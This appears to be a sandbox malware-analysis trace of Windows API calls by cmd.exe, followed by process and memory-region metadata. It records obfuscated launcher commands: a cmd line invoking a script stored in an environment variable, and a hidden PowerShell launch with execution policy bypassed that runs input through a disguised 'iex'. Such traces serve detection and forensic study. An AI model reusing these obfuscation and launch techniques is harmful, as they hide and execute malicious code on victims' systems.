	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=",_}~=se", _MaxCount=0x7) returned 55
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=",`=set ", _MaxCount=0x7) returned 55
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="-}=set ", _MaxCount=0x7) returned 54
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2="-}#=seG", _MaxCount=0x7) returned 54
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=".$+=set", _MaxCount=0x7) returned 53
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=".*#=set", _MaxCount=0x7) returned 53
	[0058.894] _wcsnicmp (_String1="COPYCMD", _String2=".,`_=se", _MaxCount=0x7) returned 53
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2=".;?=set", _MaxCount=0x7) returned 53
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2=".@_#=se", _MaxCount=0x7) returned 53
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2=";.+=set", _MaxCount=0x7) returned 40
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2=";]=seGC", _MaxCount=0x7) returned 40
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2=";`}~=se", _MaxCount=0x7) returned 40
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="?$_=set", _MaxCount=0x7) returned 36
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="@#?.=se", _MaxCount=0x7) returned 35
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="@+*=s8P", _MaxCount=0x7) returned 35
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="@-=seGC", _MaxCount=0x7) returned 35
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="@;?#=se", _MaxCount=0x7) returned 35
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="@[~=s8P", _MaxCount=0x7) returned 35
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="aDIzy=E", _MaxCount=0x7) returned 2
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0058.895] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="suLrv=.", _MaxCount=0x7) returned -16
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="[$#?=se", _MaxCount=0x7) returned 8
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="[$@+=se", _MaxCount=0x7) returned 8
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="[_=set ", _MaxCount=0x7) returned 8
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="[{=seGC", _MaxCount=0x7) returned 8
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\#=set ", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\,=set ", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\,}_=eo", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\[=seGC", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\[,#=se", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="\\{=seGC", _MaxCount=0x7) returned 7
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="]#=set ", _MaxCount=0x7) returned 6
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="]$*{=se", _MaxCount=0x7) returned 6
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="_'*{=se", _MaxCount=0x7) returned 4
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="_@.-=se", _MaxCount=0x7) returned 4
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="_`@#=se", _MaxCount=0x7) returned 4
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`-$=seG", _MaxCount=0x7) returned 3
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`._=set", _MaxCount=0x7) returned 3
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`?=s8PG", _MaxCount=0x7) returned 3
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`[+=set", _MaxCount=0x7) returned 3
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`\\+=seG", _MaxCount=0x7) returned 3
	[0058.896] _wcsnicmp (_String1="COPYCMD", _String2="`]$=seG", _MaxCount=0x7) returned 3
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="`}$@=se", _MaxCount=0x7) returned 3
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="{$_=set", _MaxCount=0x7) returned -24
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="{'`#=se", _MaxCount=0x7) returned -24
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="{,.=set", _MaxCount=0x7) returned -24
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="{;=set ", _MaxCount=0x7) returned -24
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="{@}=seG", _MaxCount=0x7) returned -24
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="}$]?=se", _MaxCount=0x7) returned -26
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="}\\=set ", _MaxCount=0x7) returned -26
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="}\\?=set", _MaxCount=0x7) returned -26
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="}],$=se", _MaxCount=0x7) returned -26
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="}{=set ", _MaxCount=0x7) returned -26
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="~\\=set ", _MaxCount=0x7) returned -27
	[0058.897] _wcsnicmp (_String1="COPYCMD", _String2="~`*?=se", _MaxCount=0x7) returned -27
	[0058.897] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1
	[0058.899] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x14f7b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f760 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \"", lpProcessInformation=0x14f760*(hProcess=0x64, hThread=0x5c, dwProcessId=0xb88, dwThreadId=0xb8c)) returned 1
	[0058.912] CloseHandle (hObject=0x5c) returned 1
	[0058.912] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0058.912] GetEnvironmentStringsW () returned 0x1f75fb0*
	[0058.912] FreeEnvironmentStringsW (penv=0x1f75fb0) returned 1
	[0058.912] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f778 | out: lpAttributeList=0x14f778) 
	[0058.912] _get_osfhandle (_FileHandle=3) returned 0x54
	[0058.912] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1
	[0058.912] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0
	[0058.913] _close (_FileHandle=5) returned 0
	[0058.913] _dup (_FileHandle=0) returned 4
	[0058.913] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0
	[0058.913] _close (_FileHandle=3) returned 0
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6
	[0058.914] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12
	[0058.915] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="FOR") returned 10
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="IF") returned 7
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="REM") returned -2
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="DIR") returned 12
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="ERASE") returned 11
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="DEL") returned 12
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="TYPE") returned -4
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="COPY") returned 13
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="CD") returned 13
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="CHDIR") returned 13
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="RENAME") returned -2
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="REN") returned -2
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="ECHO") returned 11
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="SET") returned -3
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="PAUSE") returned 14
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="DATE") returned 12
	[0058.916] _wcsicmp (_String1="POwERsHElL", _String2="TIME") returned -4
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="PROMPT") returned -3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="MD") returned 3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="MKDIR") returned 3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="RD") returned -2
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="RMDIR") returned -2
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="PATH") returned 14
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="GOTO") returned 9
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="SHIFT") returned -3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="CLS") returned 13
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="CALL") returned 13
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="VERIFY") returned -6
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="VER") returned -6
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="VOL") returned -6
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="EXIT") returned 11
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="SETLOCAL") returned -3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="ENDLOCAL") returned 11
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="TITLE") returned -4
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="START") returned -3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="DPATH") returned 12
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="KEYS") returned 5
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="MOVE") returned 3
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="PUSHD") returned -6
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="POPD") returned 7
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="ASSOC") returned 15
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="FTYPE") returned 10
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="BREAK") returned 14
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="COLOR") returned 13
	[0058.917] _wcsicmp (_String1="POwERsHElL", _String2="MKLINK") returned 3
	[0058.917] _wcsnicmp (_String1="POwE", _String2="cmd ", _MaxCount=0x4) returned 13
	[0058.918] SetErrorMode (uMode=0x0) returned 0x8001
	[0058.918] SetErrorMode (uMode=0x1) returned 0x0
	[0058.918] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x24e3c0, lpFilePart=0x14f970 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f970*="Desktop") returned 0x19
	[0058.918] SetErrorMode (uMode=0x8001) returned 0x1
	[0058.918] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.918] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0058.919] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.920] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0058.920] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0058.920] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0058.921] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="POwERsHElL   -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )     ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x14f7b0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="POwERsHElL   -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )     ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f760 | out: lpCommandLine="POwERsHElL   -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc byPASS  -nOPrOFIle  -COmMANd     &( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT )     ", lpProcessInformation=0x14f760*(hProcess=0x5c, hThread=0x54, dwProcessId=0xb90, dwThreadId=0xb94)) returned 1
	[0058.929] CloseHandle (hObject=0x54) returned 1
	[0058.929] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0058.929] GetEnvironmentStringsW () returned 0x1f75f90*
	[0058.929] FreeEnvironmentStringsW (penv=0x1f75f90) returned 1
	[0058.929] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f778 | out: lpAttributeList=0x14f778) 
	[0058.929] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0
	[0058.929] _close (_FileHandle=4) returned 0
	[0058.929] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0
	[0059.238] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x14fc98 | out: lpExitCode=0x14fc98*=0x0) returned 1
	[0059.238] CloseHandle (hObject=0x64) returned 1
	[0059.238] WaitForSingleObject (hHandle=0x5c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.440] GetExitCodeProcess (in: hProcess=0x5c, lpExitCode=0x14fc98 | out: lpExitCode=0x14fc98*=0x0) returned 1
	[0074.440] CloseHandle (hObject=0x5c) returned 1
	[0074.440] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.440] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0074.440] _get_osfhandle (_FileHandle=1) returned 0x7
	[0074.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 1
	[0074.441] _get_osfhandle (_FileHandle=0) returned 0x58
	[0074.441] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 0
	[0074.441] GetConsoleOutputCP () returned 0x1b5
	[0074.441] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0074.441] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0074.441] exit (_Code=0) 

Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x51f35000"
	os_pid = "0xb88"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xb80"
	cmd_line = "C:\\Windows\\system32\\cmd.exe  /S /D /c\" EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe  )  \""
	cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1369
	        start_va = 0x10000
	          end_va = 0x45fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1370
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
